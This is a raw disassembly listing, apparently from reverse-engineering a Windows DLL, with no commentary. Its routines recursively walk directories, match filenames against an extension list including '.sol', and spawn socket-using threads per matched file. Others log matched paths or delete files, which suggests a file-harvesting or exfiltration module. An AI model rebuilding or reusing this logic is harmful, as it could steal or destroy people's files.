		cmp	[ebp+var_124], 5
		jge	short loc_10006EC1
		mov	edx, [ebp+var_124]
		mov	eax, [ebp+edx*4+buf]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_10006E93
; ---------------------------------------------------------------------------


loc_10006EC1:				; CODE XREF: StartAddress+962j
		cmp	[ebp+var_418], 1
		jnz	short loc_10006ED4
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_10006ED4:				; CODE XREF: StartAddress+981j
		cmp	[ebp+Memory], 0
		jz	short loc_10006EE7
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10006EE7:				; CODE XREF: StartAddress+991j
		mov	eax, [ebp+Dst]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_48]
		mov	dword_1004B770[edx*4], 0
		mov	eax, [ebp+var_118]
		jmp	loc_10006FC0
; ---------------------------------------------------------------------------


loc_10006F1D:				; CODE XREF: StartAddress+26Bj
					; StartAddress+2EAj ...
		cmp	[ebp+s], 0
		jz	short loc_10006F33
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_10006F33:				; CODE XREF: StartAddress+9DDj
		mov	[ebp+var_124], 0
		jmp	short loc_10006F4E
; ---------------------------------------------------------------------------


loc_10006F3F:				; CODE XREF: StartAddress+A24j
		mov	ecx, [ebp+var_124]
		add	ecx, 1
		mov	[ebp+var_124], ecx


loc_10006F4E:				; CODE XREF: StartAddress+9F6j
		cmp	[ebp+var_124], 5
		jge	short loc_10006F6D
		mov	edx, [ebp+var_124]
		mov	eax, [ebp+edx*4+buf]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_10006F3F
; ---------------------------------------------------------------------------


loc_10006F6D:				; CODE XREF: StartAddress+A0Ej
		cmp	[ebp+var_418], 1
		jnz	short loc_10006F80
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_10006F80:				; CODE XREF: StartAddress+A2Dj
		cmp	[ebp+Memory], 0
		jz	short loc_10006F93
		mov	edx, [ebp+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10006F93:				; CODE XREF: StartAddress+A3Dj
		mov	eax, [ebp+Dst]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_48]
		mov	dword_1004B770[edx*4], 0
		xor	eax, eax


loc_10006FC0:				; CODE XREF: StartAddress+91Ej
					; StartAddress+9D1j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10006FD3(char	*Source, LPCSTR	lpString)

sub_10006FD3	proc near		; CODE XREF: sub_1000741F+4A5p

var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
SubStr		= dword	ptr -12Ch
lpString2	= dword	ptr -128h
Str		= dword	ptr -104h
Memory		= dword	ptr -100h
var_FC		= byte ptr -0FCh
Source		= dword	ptr  8
lpString	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	edi
		mov	eax, [ebp+lpString]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	short loc_10006FF5
		mov	eax, 1
		jmp	loc_100071BB
; ---------------------------------------------------------------------------


loc_10006FF5:				; CODE XREF: sub_10006FD3+16j
		mov	[ebp+Memory], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_FC]
		rep stosd
		mov	[ebp+SubStr], 0
		mov	ecx, 9
		xor	eax, eax
		lea	edi, [ebp+lpString2]
		rep stosd
		mov	[ebp+var_130], 0
		push	offset a_	; "."
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		mov	edx, [ebp+Source]
		push	edx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+Str], eax
		push	offset a__0	; "."
		lea	eax, [ebp+SubStr]
		push	eax		; int
		mov	ecx, [ebp+lpString]
		push	ecx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+Str]
		mov	ecx, [ebp+eax*4+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	short loc_1000710B
		cmp	[ebp+SubStr], 0
		jz	short loc_100070A9
		mov	edx, [ebp+SubStr]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_100070A9:				; CODE XREF: sub_10006FD3+C4j
		cmp	[ebp+lpString2], 0
		jz	short loc_100070C2
		mov	eax, [ebp+lpString2]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4


loc_100070C2:				; CODE XREF: sub_10006FD3+DDj
		mov	[ebp+var_134], 0
		jmp	short loc_100070DD
; ---------------------------------------------------------------------------


loc_100070CE:				; CODE XREF: sub_10006FD3+12Fj
		mov	ecx, [ebp+var_134]
		add	ecx, 1
		mov	[ebp+var_134], ecx


loc_100070DD:				; CODE XREF: sub_10006FD3+F9j
		mov	edx, [ebp+var_134]
		cmp	edx, [ebp+Str]
		jge	short loc_10007104
		mov	eax, [ebp+var_134]
		mov	ecx, [ebp+eax*4+Memory]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_100070CE
; ---------------------------------------------------------------------------


loc_10007104:				; CODE XREF: sub_10006FD3+116j
		xor	eax, eax
		jmp	loc_100071BB
; ---------------------------------------------------------------------------


loc_1000710B:				; CODE XREF: sub_10006FD3+BBj
		mov	[ebp+var_138], 0
		jmp	short loc_10007126
; ---------------------------------------------------------------------------


loc_10007117:				; CODE XREF: sub_10006FD3+1AEj
		mov	edx, [ebp+var_138]
		add	edx, 1
		mov	[ebp+var_138], edx


loc_10007126:				; CODE XREF: sub_10006FD3+142j
		mov	eax, [ebp+var_138]
		cmp	eax, [ebp+Str]
		jge	short loc_10007183
		mov	ecx, [ebp+SubStr]
		push	ecx		; SubStr
		mov	edx, [ebp+var_138]
		mov	eax, [ebp+edx*4+Memory]
		push	eax		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000716A
		mov	[ebp+var_130], 1


loc_1000716A:				; CODE XREF: sub_10006FD3+18Bj
		mov	ecx, [ebp+var_138]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_10007117
; ---------------------------------------------------------------------------


loc_10007183:				; CODE XREF: sub_10006FD3+15Fj
		cmp	[ebp+SubStr], 0
		jz	short loc_1000719C
		mov	eax, [ebp+SubStr]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4


loc_1000719C:				; CODE XREF: sub_10006FD3+1B7j
		cmp	[ebp+lpString2], 0
		jz	short loc_100071B5
		mov	ecx, [ebp+lpString2]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_100071B5:				; CODE XREF: sub_10006FD3+1D0j
		mov	eax, [ebp+var_130]


loc_100071BB:				; CODE XREF: sub_10006FD3+1Dj
					; sub_10006FD3+133j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_10006FD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100071C0(int,	int, DWORD dwMilliseconds)

sub_100071C0	proc near		; CODE XREF: sub_100071C0+12Bp
					; sub_1000B7EF+C7Ap ...

var_548		= dword	ptr -548h
FindFileData	= _WIN32_FIND_DATAA ptr	-544h
var_404		= dword	ptr -404h
FileName	= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
dwMilliseconds	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 548h
		push	esi
		mov	[ebp+var_404], 1
		mov	[ebp+var_548], 0
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset aS_	; "%s\\*.*"
		lea	ecx, [ebp+FileName]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	edx, [ebp+FindFileData]
		push	edx		; lpFindFileData
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:FindFirstFileA	; FindFirstFileA
		mov	ecx, dword_100281F0
		mov	hFindFile[ecx*4], eax
		mov	edx, dword_100281F0
		cmp	hFindFile[edx*4], 0FFFFFFFFh
		jz	loc_1000741A


loc_1000722C:				; CODE XREF: sub_100071C0:loc_10007415j
		cmp	[ebp+var_404], 0
		jz	loc_1000741A
		mov	eax, [ebp+FindFileData.dwFileAttributes]
		and	eax, 10h
		test	eax, eax
		jz	loc_10007330
		push	offset a__1	; "."
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_10007330
		push	offset a__	; ".."
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_10007330
		mov	eax, dword_100281F0
		add	eax, 1
		mov	dword_100281F0,	eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, dword_100281F0
		mov	Dest[ecx*4], eax
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		mov	eax, dword_100281F0
		mov	ecx, h[eax*4]
		push	ecx
		push	offset aSS_3	; "%s\\%s"
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	ecx, [ebp+dwMilliseconds]
		push	ecx		; dwMilliseconds
		mov	edx, [ebp+arg_4]
		push	edx		; int
		mov	eax, dword_100281F0
		mov	ecx, Dest[eax*4]
		push	ecx		; int
		call	sub_100071C0
		add	esp, 0Ch
		mov	edx, dword_100281F0
		mov	eax, hFindFile[edx*4]
		push	eax		; hFindFile
		call	ds:FindClose	; FindClose
		mov	ecx, dword_100281F0
		mov	edx, Dest[ecx*4]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, dword_100281F0
		sub	eax, 1
		mov	dword_100281F0,	eax
		jmp	loc_100073E4
; ---------------------------------------------------------------------------


loc_10007330:				; CODE XREF: sub_100071C0+84j
					; sub_100071C0+9Ej ...
		mov	ecx, [ebp+FindFileData.dwFileAttributes]
		and	ecx, 10h
		test	ecx, ecx
		jnz	loc_100073E4
		mov	[ebp+var_548], 0


loc_1000734B:				; CODE XREF: sub_100071C0+1B5j
		mov	edx, [ebp+var_548]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_10007377
		cmp	[ebp+var_548], 1000h
		jnb	short loc_10007377
		mov	ecx, [ebp+var_548]
		add	ecx, 1
		mov	[ebp+var_548], ecx
		jmp	short loc_1000734B
; ---------------------------------------------------------------------------


loc_10007377:				; CODE XREF: sub_100071C0+198j
					; sub_100071C0+1A4j
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	edx, [esi+eax+0Ah]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_548]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*4], eax
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax
		mov	ecx, dword_100281F0
		mov	edx, Dest[ecx*4]
		push	edx
		push	offset aSS_4	; "%s\\%s"
		mov	eax, [ebp+var_548]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+eax*4]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h


loc_100073E4:				; CODE XREF: sub_100071C0+16Bj
					; sub_100071C0+17Bj
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		mov	ecx, dword_100281F0
		mov	edx, hFindFile[ecx*4]
		push	edx		; hFindFile
		call	ds:FindNextFileA	; FindNextFileA
		mov	[ebp+var_404], eax
		cmp	[ebp+dwMilliseconds], 0
		jz	short loc_10007415
		mov	eax, [ebp+dwMilliseconds]
		push	eax		; dwMilliseconds
		call	ds:Sleep	; Sleep


loc_10007415:				; CODE XREF: sub_100071C0+249j
		jmp	loc_1000722C
; ---------------------------------------------------------------------------


loc_1000741A:				; CODE XREF: sub_100071C0+66j
					; sub_100071C0+73j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_100071C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000741F(char	*Str, int, int,	int, int, int, LPCSTR lpString2, LPCSTR	lpFileName, DWORD dwMilliseconds)

sub_1000741F	proc near		; CODE XREF: sub_1000741F+190p
					; sub_1000B027+1B0p ...

var_A58		= dword	ptr -0A58h
FindFileData	= _WIN32_FIND_DATAA ptr	-0A54h
String1		= byte ptr -914h
var_814		= dword	ptr -814h
hObject		= dword	ptr -810h
String2		= byte ptr -80Ch
var_40C		= dword	ptr -40Ch
NumberOfBytesWritten= dword ptr	-408h
FileName	= byte ptr -404h
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
lpString2	= dword	ptr  20h
lpFileName	= dword	ptr  24h
dwMilliseconds	= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A58h
		mov	[ebp+var_814], 1
		mov	[ebp+var_A58], 0
		mov	[ebp+var_40C], 0
		mov	[ebp+var_4], 0
		push	5Ch		; Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		add	eax, 1
		push	eax		; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	3Fh		; Val
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_10007499
		push	3Fh		; Val
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0
		mov	[ebp+var_4], 1


loc_10007499:				; CODE XREF: sub_1000741F+5Fj
		mov	ecx, [ebp+Str]
		push	ecx
		push	offset aS__0	; "%s\\*.*"
		lea	edx, [ebp+FileName]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		lea	ecx, [ebp+FileName]
		push	ecx		; lpFileName
		call	ds:FindFirstFileA	; FindFirstFileA
		mov	edx, [ebp+arg_C]
		mov	ecx, [ebp+arg_8]
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+edx*4], 0FFFFFFFFh
		jz	loc_10007B30


loc_100074DF:				; CODE XREF: sub_1000741F:loc_10007B2Bj
		cmp	[ebp+var_814], 0
		jz	loc_10007B30
		mov	ecx, [ebp+FindFileData.dwFileAttributes]
		and	ecx, 10h
		test	ecx, ecx
		jz	loc_100075E8
		push	offset a__2	; "."
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_100075E8
		push	offset a___0	; ".."
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_100075E8
		cmp	[ebp+var_4], 0
		jnz	loc_100075E8
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+arg_C], ecx
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+edx*4], eax
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+eax*4-4]
		push	edx
		push	offset aSS_5	; "%s\\%s"
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+eax*4]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	eax, [ebp+dwMilliseconds]
		push	eax		; dwMilliseconds
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+arg_14]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+edx*4]
		push	ecx		; Str
		call	sub_1000741F
		add	esp, 24h
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+edx*4]
		push	ecx		; hFindFile
		call	ds:FindClose	; FindClose
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+edx*4]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+arg_C]
		sub	edx, 1
		mov	[ebp+arg_C], edx
		jmp	loc_10007AFE
; ---------------------------------------------------------------------------


loc_100075E8:				; CODE XREF: sub_1000741F+D8j
					; sub_1000741F+F2j ...
		mov	eax, [ebp+FindFileData.dwFileAttributes]
		and	eax, 10h
		test	eax, eax
		jz	short loc_10007610
		mov	ecx, [ebp+FindFileData.dwFileAttributes]
		and	ecx, 10h
		test	ecx, ecx
		jz	loc_10007AFE
		cmp	[ebp+var_4], 0
		jz	loc_10007AFE


loc_10007610:				; CODE XREF: sub_1000741F+1D4j
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+eax*4]
		push	edx
		push	offset aSS_6	; "%s\\%s"
		lea	eax, [ebp+String2]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	[ebp+var_40C], 0


loc_10007640:				; CODE XREF: sub_1000741F+24Cj
		mov	ecx, [ebp+var_40C]
		cmp	dword_1004B770[ecx*4], 0
		jz	short loc_1000766D
		cmp	[ebp+var_40C], 1000h
		jnb	short loc_1000766D
		mov	edx, [ebp+var_40C]
		add	edx, 1
		mov	[ebp+var_40C], edx
		jmp	short loc_10007640
; ---------------------------------------------------------------------------


loc_1000766D:				; CODE XREF: sub_1000741F+22Fj
					; sub_1000741F+23Bj
		cmp	[ebp+arg_10], 0
		jz	short loc_1000767F
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	loc_10007883


loc_1000767F:				; CODE XREF: sub_1000741F+252j
		cmp	[ebp+arg_14], 0
		jz	short loc_1000768F
		cmp	[ebp+arg_14], 1
		jnz	loc_100077ED


loc_1000768F:				; CODE XREF: sub_1000741F+264j
		cmp	[ebp+var_40C], 1000h
		jnb	loc_100077ED
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_40C]
		mov	dword_1004B770[ecx*4], eax
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+var_40C]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax
		push	offset byte_10065ED8
		push	offset aS__S	; "%s__%s"
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 207h
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	offset a_sol	; ".sol"
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000779D
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx
		lea	edx, [ebp+String1]
		push	edx
		push	offset byte_10065ED8
		push	offset aS__SS	; "%s__%s&&%s"
		mov	eax, [ebp+var_40C]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 14h


loc_1000779D:				; CODE XREF: sub_1000741F+347j
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_40C]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+arg_14]
		mov	[eax+30Ch], ecx
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		push	eax		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_100077ED:				; CODE XREF: sub_1000741F+26Aj
					; sub_1000741F+27Aj
		cmp	[ebp+arg_14], 3
		jnz	loc_1000787E
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		lea	ecx, [ebp+String2]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; nNumberOfBytesToWrite
		lea	edx, [ebp+String2]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset asc_10022C78 ; "\r\n"
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000787E:				; CODE XREF: sub_1000741F+3D2j
		jmp	loc_10007AFE
; ---------------------------------------------------------------------------


loc_10007883:				; CODE XREF: sub_1000741F+25Aj
		mov	[ebp+var_A58], 0


loc_1000788D:				; CODE XREF: sub_1000741F+6DAj
		mov	ecx, [ebp+var_A58]
		mov	edx, [ebp+arg_10]
		cmp	dword ptr [edx+ecx*4], 0
		jz	loc_10007AFE
		cmp	[ebp+var_A58], 1000h
		jnb	loc_10007AFE
		mov	eax, [ebp+var_A58]
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+eax*4]
		push	edx		; lpString
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; Source
		call	sub_10006FD3
		add	esp, 8
		test	eax, eax
		jz	loc_10007AEA
		cmp	[ebp+arg_14], 0
		jz	short loc_100078E4
		cmp	[ebp+arg_14], 1
		jnz	loc_10007A42


loc_100078E4:				; CODE XREF: sub_1000741F+4B9j
		cmp	[ebp+var_40C], 1000h
		jnb	loc_10007A42
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_40C]
		mov	dword_1004B770[ecx*4], eax
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+var_40C]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax
		push	offset byte_10065ED8
		push	offset aS__S_file ; "%s__%s.file"
		mov	ecx, [ebp+var_40C]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 207h
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	offset a_sol_0	; ".sol"
		lea	eax, [ebp+FindFileData.cFileName]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100079F2
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx
		lea	edx, [ebp+String1]
		push	edx
		push	offset byte_10065ED8
		push	offset aS__SS_0	; "%s__%s&&%s"
		mov	eax, [ebp+var_40C]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 14h


loc_100079F2:				; CODE XREF: sub_1000741F+59Cj
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_40C]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+arg_14]
		mov	[eax+30Ch], ecx
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	edx, [ebp+var_40C]
		mov	eax, dword_1004B770[edx*4]
		push	eax		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10007A42:				; CODE XREF: sub_1000741F+4BFj
					; sub_1000741F+4CFj
		cmp	[ebp+arg_14], 3
		jnz	loc_10007AD5
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		mov	ecx, [ebp+lpFileName]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; nNumberOfBytesToWrite
		lea	edx, [ebp+String2]
		push	edx		; lpBuffer
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset asc_10022C9C ; "\r\n"
		mov	edx, [ebp+hObject]
		push	edx		; hFile
		call	ds:WriteFile	; WriteFile
		mov	eax, [ebp+hObject]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_10007AD5:				; CODE XREF: sub_1000741F+627j
		cmp	[ebp+arg_14], 2
		jnz	short loc_10007AE8
		lea	ecx, [ebp+String2]
		push	ecx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_10007AE8:				; CODE XREF: sub_1000741F+6BAj
		jmp	short loc_10007AFE
; ---------------------------------------------------------------------------


loc_10007AEA:				; CODE XREF: sub_1000741F+4AFj
		mov	edx, [ebp+var_A58]
		add	edx, 1
		mov	[ebp+var_A58], edx
		jmp	loc_1000788D
; ---------------------------------------------------------------------------


loc_10007AFE:				; CODE XREF: sub_1000741F+1C4j
					; sub_1000741F+1E1j ...
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+ecx*4]
		push	eax		; hFindFile
		call	ds:FindNextFileA	; FindNextFileA
		mov	[ebp+var_814], eax
		cmp	[ebp+dwMilliseconds], 0
		jz	short loc_10007B2B
		mov	ecx, [ebp+dwMilliseconds]
		push	ecx		; dwMilliseconds
		call	ds:Sleep	; Sleep


loc_10007B2B:				; CODE XREF: sub_1000741F+700j
		jmp	loc_100074DF
; ---------------------------------------------------------------------------


